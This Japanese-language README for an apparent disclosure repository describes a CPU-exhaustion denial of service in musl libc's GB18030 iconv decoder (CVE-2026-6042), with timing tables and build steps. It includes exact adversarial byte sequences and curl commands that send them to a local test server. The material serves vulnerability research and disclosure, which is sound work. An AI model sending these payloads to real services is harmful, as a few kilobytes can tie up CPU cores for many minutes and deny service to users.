iconv におけるアルゴリズム複雑性 DoSmusl の iconv GB18030 4バイトデコーダにおけるギャップスキップループにより、小さな細工済み入力が不釣り合いなCPU時間を消費する可能性があります。40 KBの敵対的ペイロードで、CPUコアを40分以上占有させることができます。
アドバイザリの記載に反して、このエクスプロイトの攻撃ベクトルは明らかにローカルではなくネットワークです。これは、VulDBが割り当てた脆弱性を実際に理解していないことに起因します。
CVSS 3.1 ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (高)
| フィールド | 詳細 |
|---|
| 影響を受けるソフトウェア | musl libc (iconv 実装) |
| 影響を受けるエンコーディング | GB18030 (4バイトシーケンス) |
| タイプ | アルゴリズム複雑性 / サービス拒否 |
| 確認済みバージョン | musl 1.2.5 (Alpine 3.21)、musl 1.2.6 (ソースからビルド) |
| 影響を受ける可能性が高いバージョン | GB18030およびUHC/CP949サポートが導入されて以降のすべてのmuslバージョン |
| 攻撃対象 | これらのエンコーディングで信頼できない入力に対して iconv() を呼び出すmuslベースのすべてのサービス |
musl の GB18030 4バイトデコーダ (src/locale/iconv.c、およそ434〜442行目) は、4バイトの入力シーケンスを線形インデックスに変換し、そのインデックスをUnicodeコードポイントにマッピングするためにギャップスキップループを走査します。デコードされた各文字について、内側のループは gb18030[126][190] テーブル全体 (23,940エントリ) を反復処理し、スライディングレンジ内に収まる2バイトマッピングされたコードポイントの数を数えます。
バイトシーケンス 82 35 8F 33 は線形インデックス19,171を生成し、これは密集したCJK統合漢字レンジ (U+4E00-U+9FBD、約20,902エントリ) のすぐ下に位置します。ギャップスキップループはその後、密集ブロック全体を1エントリずつ追跡しなければならず、約20,905回の外側の反復を実行し、それぞれが23,940すべてのテーブルエントリをスキャンします。これは入力文字あたり約5億回の比較に相当します。
コストは入力内の敵対的文字数に比例して線形に増加し、各文字が独立して完全な内側ループをトリガーするため、総作業量は O(n * k^2) となります。ここで n は入力文字数、k はルックアップテーブルのサイズです。
ユーザー提供の入力から iconv() を介してGB18030またはEUC-KRをトランスコードするサービスを実行しているmuslベースのシステム (Alpine Linux、Void Linux、postmarketOS、組み込み/コンテナイメージなど) は、サービス拒否に対して脆弱です。
シングルコアでの予測時間 (Alpine 3.21 / musl 1.2.5で測定):
| 入力 | 時間 |
|---|---|
| 敵対的文字1文字 (4バイト) | 約0.26秒 |
| 100文字 (400バイト) | 約26秒 |
| 1,000文字 (4 KB) | 約4.3分 |
| 10,000文字 (40 KB) | 約43分 |
比較として、100文字の良性のGB18030文字はマイクロ秒単位でデコードされます。
| ファイル | 説明 |
|---|---|
poc_gb18030_dos.c | スタンドアロンPoC: iconv() を介した良性と敵対的なGB18030デコードの時間を計測 |
server.c | POSTボディを iconv() でトランスコードする最小限のHTTPサーバー。実際の攻撃対象をシミュレート |
Dockerfile | 脆弱なサーバーをビルドして実行するAlpine Linuxコンテナイメージ |
test.sh | エンドツーエンドのテストスクリプト: 良性と敵対的なペイロードをサーバーに送信し、応答時間を比較 |
iconv のタイミング)muslベースの任意のシステムでビルドして実行:
# Alpine Linuxの場合
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
またはDocker経由:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
期待される出力: 良性の文字はマイクロ秒単位でデコードされます。単一の敵対的文字 (82 35 8F 33) は約0.26秒かかります。
脆弱なサーバーをビルドして起動:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
別のターミナルでテストハーネスを実行:
./test.sh
またはペイロードを手動で送信:
# 良性: 100文字、即座に返るはず
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# 敵対的: わずか5文字、1秒以上かかるはず
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
X-Transcode-Time 応答ヘッダーは、iconv() 内で費やされた時間を報告します。
以下のスクリーンショットは、Dockerサーバーに対する敵対的入力の線形スケーリングを示しています: 20文字 (80バイト) は約5.2秒、80文字 (320バイト) は約20.8秒、160文字 (640バイト) は約41.5秒かかります。

| シーケンス | 線形インデックス | 動作 |
|---|---|---|
81 30 81 30 (良性) | 128 | 低いコードポイント。ギャップスキップループはすぐに終了 |
82 35 8F 33 (敵対的) | 19,171 | 密集したCJKブロックのすぐ下に位置。約5億回の比較をトリガー |
82 35 90 30 (敵対的) | 約19,200 | 同じ領域、同様のコスト |
このリポジトリは、セキュリティ研究および責任ある開示の目的で公開されています。コードはCVE-2026-6042を再現および検証するためだけに提供されています。所有していないシステム、またはテストする明示的な許可を得ていないシステムに対して使用しないでください。